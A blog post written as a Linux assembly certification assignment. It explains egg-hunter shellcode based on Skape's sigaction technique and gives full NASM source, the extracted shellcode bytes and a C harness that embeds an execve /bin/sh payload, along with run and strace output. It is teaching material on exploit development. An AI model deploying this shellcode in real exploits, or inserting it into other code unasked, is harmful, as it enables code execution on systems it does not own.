SecurityTube Linux Assembly Expert (SLAE) Assignment Writeups — \x03 Egg Hunter Shellcode

Ryuke Ackerman
9 min readNov 2, 2019

--

Welcome back. This time we will be doing something a little different to the previous two posts… writing shellcode for an egg hunter! Rather than diving right into the code though, I want to summarise some of the information that Skape provides in his research on “Safely Searching Process Virtual Address Space” which can be found at http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf. It’s super informative and has been my main resource learning about egg hunters. Not all of the content is relevant to this post so a brief summary will help provide some context as to how egg hunters work which is hopefully going to make the assembly code easier to understand later on.

Key Terms: Egg, Egg Hunter, and Payload

An Egg is a special set of bytes which signifies the start of your payload. For example it could be 0x45474759 which is hex for the string “EGGY”. Generally this Egg will actually appear twice before the start of the payload. Keep that in mind, we will come back to it later.

An Egg Hunter is a short bit of code which will.. you guessed it.. hunt for the Egg! The Egg Hunter is going to search the entire virtual memory address of the process. We will program it to search for our Egg so that when it reads 0x45474759 twice it will know it has found where the payload lies in the virtual memory and can then pass control to that payload.

Now you might be thinking, if the Egg Hunter knows what the Egg is, then surely our Egg Hunter code will contain the Egg. Correct! This means if we find the Egg we might have either found the Egg in our Egg Hunter, OR we might have found the Egg before the payload. To get around this, the Egg is placed two times in front of the payload and the Egg Hunter will check that the Egg appears twice in a row. Thus, if the Egg appears twice in a row it will know it has found the start of the payload.

The payload is what we want to run (e.g. a bind shell). In summary, the Egg Hunter is going to find a part of memory which looks like the following:

{ADDRESS}: {EGG}{EGG}{PAYLOAD}e.g. 0x8049000: 0x59474745 0x59474745 0xb866c031 0xdb310167 ...

When would we need to use an Egg Hunter?

Imagine a scenario where we were able to take control of the program we are exploiting by injecting our own shellcode. However, we only have very limited space, maybe we can run less than 50 bytes which isn’t enough space to run our payload. In addition to this, it’s possible to put a larger payload in the process’ memory by using some other feature of the program we are trying to exploit but we cannot execute this payload. Enter the Egg Hunter.

We could place the {EGG}{EGG}{PAYLOAD} portion in the process’ memory (e.g. possibly via a post request) and then wherever we have found the vulnerability which lets us control the program - we place our Egg Hunter. The Egg Hunter will run, search the program/process’ virtual memory address, find the egg, and then execute the payload.

Searching Virtual Address Space Safely (i.e. without crashing)

Now we can’t simply read from a memory address we don’t have access to. If we try to access a portion of memory that we are not allowed to then this will result in a Segmentation Fault (SIGSEGV). For example, two types of syscalls could be used to determine if a part of memory is valid for the process. These are access and sigaction. It is not their originally intended use, these syscalls return an EFAULT if one of their arguments (a pointer) point to a location of memory which is not valid for the process. If we use either one of these syscalls and get an EFAULT, then this is enough to determine that we cannot access that address and therefore we know the egg won’t be there.

I’m just going to focus on using sigaction because it is very slightly more simple to implement and provides faster results by determining if a larger area of memory is valid or not more quickly than accessdoes. The analysis by Skape above goes into detail about using either access or sigaction so I highly recommend you go through it if you are interested in both implementations.

Coding the Egg Hunter

On to the exciting part!

To make the Egg Hunter search through different areas of memory efficiently it should search memory according to the PAGE_SIZE to make sure we do not miss validating any particular portions of memory (and also not waste time validating every single address which would take far too long). Essentially, you can assume that if one part of the page is invalid, then the rest will be invalid too. To get the PAGE_SIZE for your system do the following:

$ getconf PAGE_SIZE
4096

My page size is 4096 (i.e. 4kB) which is 0x00001000. This means the Egg Hunter should search every 0x00001000 (i.e. every page). Let’s start by moving this value into ecx. At the same time, let’s move sigaction (0x43) into eax too.

_newPage:    or cx, 0x0fff  ; put 4095 in ecx_newAddress:    xor eax, eax  ; prevent nulls being moved into eax
mov al, 0x43 ; sigaction syscall value
inc ecx ; put 4096 (0x1000) i.e. PAGE_SIZE in ecx
int 0x80 ; execute sigaction

Don’t worry if _newPage and newAddress don’t make sense yet. There is more code to come and it will become clear soon. Essentially though, you can see that we place 0x0fff into ecx by using the OR operation, and then the INC operation further down makes this become 0x1000. Furthermore, when we need to do a page alignment (move to the next page) we can jump back to _newPage and OR whatever is in ecx with 0x0fff and increment by one to go to the next page.

For example:

OR CX, 0x0fff and ECX contains 0x1328:0x0fff => 0000 1111 1111 1111
OR
0x1328 => 0001 0011 0010 1000
=0x1fff => 0001 1111 1111 1111-------------------------------
INC ECX:
0x1fff + 0x0001 = 0x2000 (woohoo new page)

Ok so in the first instance sigaction is being called with the following values:

EAX = 0x43 (sigaction)
EBX = 0
ECX = 0x00001000
EDX = 0

And sigaction takes the following arguments according to the man page:

int sigaction(int signum, const struct sigaction *act,
struct sigaction *oldact);

This call would ideally take a signal number (which we aren’t using so this can be 0 — we don’t care), a pointer to the action / sigaction structure ( 0x00001000 ), and a pointer to the old action (again we don’t care about this value so it can stay as 0). All we need sigaction to do for us is to say whether our pointer (*act) points to a valid address or not. If it is not valid, it will return an EFAULT, and we can merrily move along to check the next page until we eventually get to a valid address. Once we find a valid address, we can look for our Egg in that address space.

Let’s look at the entire Egg Hunter impementation now:

; Purpose:  Egg Hunter for x86 Linux - Sigaction method 
; Filename: egg-hunter.nasm
global _startsection .text_start:_newPage: or cx, 0x0fff ; put 4095 in ecx_newAddress: xor eax, eax ; prevent nulls being moved into eax
mov al, 0x43 ; sigaction syscall value
inc ecx ; put 4096 (0x1000) i.e. PAGE_SIZE in ecx
int 0x80 ; execute sigaction
cmp al, 0xf2 ; compare for EFAULT (0xf2)
jz _newPage ; if EFAULT, jump to start to try next page
mov eax, 0x59474745 ; mov egg into eax for scasd comparison
mov edi, ecx ; put address in edi for scasd comparison
scasd ; edi+4 and compares eax to edi
jnz _newAddress ; if not equal, try next address
scasd ; edi+4 and compares eax to edi
jnz _newAddress ; if not equal, try next address
jmp edi ; jump to shellcode/payload

After sigaction completes, if our pointer was invalid then it will return an EFAULT which is denoted by 0xf2 and this will be placed in eax. This is why we perform cmp al, 0xf2 immediately after the interrupt. If there is an EFAULT, then the CMP instruction will set the zero flag and then we can use JZ to go back to _newPage and do the page alignment.

However, if the pointer is valid then we just continue to check if our Egg exists at that address! Let’s now focus on these four lines:

mov eax, 0x59474745    ; mov egg into eax for scasd comparison
mov edi, ecx ; put address in edi for scasd comparison
scasd ; edi+4 and compares eax to edi
jnz _newAddress ; if not equal, try next address

We first place our unique Egg into eax. Next, we move the address pointer in ecx into edi. We have now set up eax and edi which are used implicitly by the following instruction scasd. This essentially performs a CMP instruction on eax and whatver edi is pointing to, as well as increments edi by 4 bytes.

So, if edi is pointing to the Egg this will mean the CMP would set the zero flag. However, if edi was not pointing to the Egg, the zero flag will not be set and we perform a jnz instruction back to _newAddress. This will take us on to the next address by incrementing ecx.

In the case that the Egg is found and we simply just need to finish up with these instructions:

scasd                  ; edi+4 and compares eax to edi
jnz _newAddress ; if not equal, try next address
jmp edi ; jump to shellcode/payload

We are checking the 4 bytes after our Egg now. Remember from before.. what if we found the Egg in our Egg Hunter, and not in our payload? We need to do another check on the following 4 bytes. If we have found the payload, the Egg appears twice (4 bytes after the start of the first Egg) but if not we will have to go back to searching new addresses.

Finally, once the Egg appears twice in a row, edi now points to our payload due to another 4 bytes being incremented following the scasd instruction. We just need to pass control by performing a JMP to edi and our payload will execute.

Testing the Egg Hunter Shellcode

Compile and extract egg hunter shellcode

$ nasm -f elf32 -o egg-hunter.o egg-hunter.nasm
$ ld -o egg-hunter -m elf_i386 egg-hunter.o
$ objdump -d ./egg-hunter |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'|sed 's/ /\\x/g'
"\x66\x81\xc9\xff\x0f\x31\xc0\xb0\x43\x41\xcd\x80\x3c\xf2\x74\xf0\xb8\x45\x47\x47\x59\x89\xcf\xaf\x75\xeb\xaf\x75\xe8\xff\xe7"

Test C program with Egg Hunter

$ cat the-egg-hunter.c 
#include<stdio.h>
#include<string.h>
unsigned char egg_hunter[] = "\x66\x81\xc9\xff\x0f\x31\xc0\xb0\x43\x41\xcd\x80\x3c\xf2\x74\xf0\xb8\x45\x47\x47\x59\x89\xcf\xaf\x75\xeb\xaf\x75\xe8\xff\xe7";/* Egg is EGGY and is repeated twice, and the shellcode is for a simple execve on /bin/sh */unsigned char egg_and_payload[] = \
"\x45\x47\x47\x59"
"\x45\x47\x47\x59"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
void main(){
printf("Length of Egg Hunter Shellcode: %d\n", strlen(egg_hunter));
int (*ret)() = (int(*)())egg_hunter;
ret();
}

Compile C program and run

$ gcc -fno-stack-protector -z execstack -m32 -o the-egg-hunter the-egg-hunter.c
$ ./the-egg-hunter
Length of Egg Hunter Shellcode: 31
$ whoami
whippy

Run it again with strace

$ strace ./the-egg-hunter...snip...
sigaction(1449365460, 0xb15d000, 0xf7f3e890) = -1 EFAULT (Bad address)
sigaction(1449365460, 0xb15e000, 0xf7f3e890) = -1 EFAULT (Bad address)
...snip...
sigaction(1448804308, 0x21859000, 0xf7ed9890) = -1 EFAULT (Bad address)
sigaction(1448804308, 0x2185a000, 0xf7ed9890) = -1 EFAULT (Bad address)
...snip...
sigaction(1448767444, {sa_handler=0x59474745, sa_mask=[HUP QUIT BUS KILL USR1 SEGV TERM CHLD CONT STOP URG XFSZ WINCH IO SYS], sa_flags=SA_ONSTACK|SA_INTERRUPT|SA_NODEFER|SA_NOCLDSTOP|0x50c030}, 0xf7eec890) = -1 EINVAL (Invalid argument)
execve("/bin//sh", ["/bin//sh"], 0xffcadfbc /* 0 vars */) = 0

Looking at the output from strace it is really great to see all those sigaction syscalls being executed on new memory addresses as it hunts through the programs virtual address space. Finally, it gets the right address which points at our egg and our payload is run.

Configuring Egg Hunter with your own payload

Simply replace the egg_and_payload character array to an Egg and payload of your own choice. Just remember, avoid any null characters and make sure you update the Egg’s value in your egg_hunter character array as well. I’ve bolded these areas below, have fun experimenting yourself by playing with these values :)

#include<stdio.h>
#include<string.h>
unsigned char egg_hunter[] = "\x66\x81\xc9\xff\x0f\x31\xc0\xb0\x43\x41\xcd\x80\x3c\xf2\x74\xf0\xb8\x45\x47\x47\x59\x89\xcf\xaf\x75\xeb\xaf\x75\xe8\xff\xe7";/* Egg is EGGY and is repeated twice, and the shellcode is for a simple execve on /bin/sh */unsigned char egg_and_payload[] = \
"\x45\x47\x47\x59"
"\x45\x47\x47\x59"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
;
void main(){
printf("Length of Egg Hunter Shellcode: %d\n", strlen(egg_hunter));
int (*ret)() = (int(*)())egg_hunter;
ret();
}

Wrap up

Hope this helped you get a better idea about what egg hunters are and how you can use them. The next topic will be on insertion encoders. See you there!

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytybe-linux-assembly-expert/

Student ID: SLAE-1286

Code samples can be found at https://github.com/ryuke-acker/slae-writeups

--

--